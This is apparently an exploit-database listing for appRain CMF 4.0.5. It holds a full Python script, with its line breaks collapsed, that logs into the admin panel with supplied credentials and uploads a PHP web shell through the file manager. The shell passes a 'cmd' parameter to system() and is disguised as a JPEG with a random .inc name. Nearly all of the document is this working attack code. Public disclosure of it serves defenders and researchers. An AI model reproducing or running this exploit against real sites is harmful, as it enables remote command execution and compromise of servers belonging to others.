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appRain CMF 4.0.5 Shell Upload

appRain CMF version 4.0.5 suffers from a remote shell upload vulnerability.

Packet Storm
#vulnerability#mac#git#php#rce#auth
# Exploit Title: appRain CMF 4.0.5 - Remote Code Execution (RCE) (Authenticated)# Date: 04/28/2024# Exploit Author: Ahmet Ümit BAYRAM# Vendor Homepage: https://www.apprain.org# Software Link:https://github.com/apprain/apprain/archive/refs/tags/v4.0.5.zip# Version: latest# Tested on: MacOSimport requestsimport sysimport timeimport randomimport stringdef generate_filename():""" Generate a 5-character random string for filename. """return ''.join(random.choices(string.ascii_lowercase, k=5)) + ".inc"def login(site, username, password):print("Logging in...")time.sleep(2)login_url = f"https://{site}/admin/system"session = requests.Session()login_data = {'data[Admin][admin_id]': username,'data[Admin][admin_password]': password}headers = {'Content-Type': 'application/x-www-form-urlencoded'}response = session.post(login_url, data=login_data, headers=headers)if "Logout" in response.text:print("Login Successful!")return sessionelse:print("Login Failed!")sys.exit()def upload_shell(session, site):print("Shell preparing...")time.sleep(2)filename = generate_filename()upload_url = f"https://{site}/admin/filemanager/upload"files = {'data[filemanager][image]': (filename, "<html><body><form method='GET'name='<?php echo basename($_SERVER['PHP_SELF']); ?>'><input type='TEXT'name='cmd' autofocus id='cmd' size='80'><input type='SUBMIT'value='Execute'></form><pre><?php if(isset($_GET['cmd'])){system($_GET['cmd']); } ?></pre></body></html>", 'image/jpeg')}data = {'submit': 'Upload'}response = session.post(upload_url, files=files, data=data)if response.status_code == 200 and "uploaded successfully" in response.text:print(f"Your Shell is Ready: https://{site}/uploads/filemanager/{filename}")else:print("Exploit Failed!")sys.exit()if __name__ == "__main__":print("Exploiting...")time.sleep(2)if len(sys.argv) != 4:print("Usage: python exploit.py sitename.com username password")sys.exit()site = sys.argv[1]username = sys.argv[2]password = sys.argv[3]session = login(site, username, password)upload_shell(session, site)

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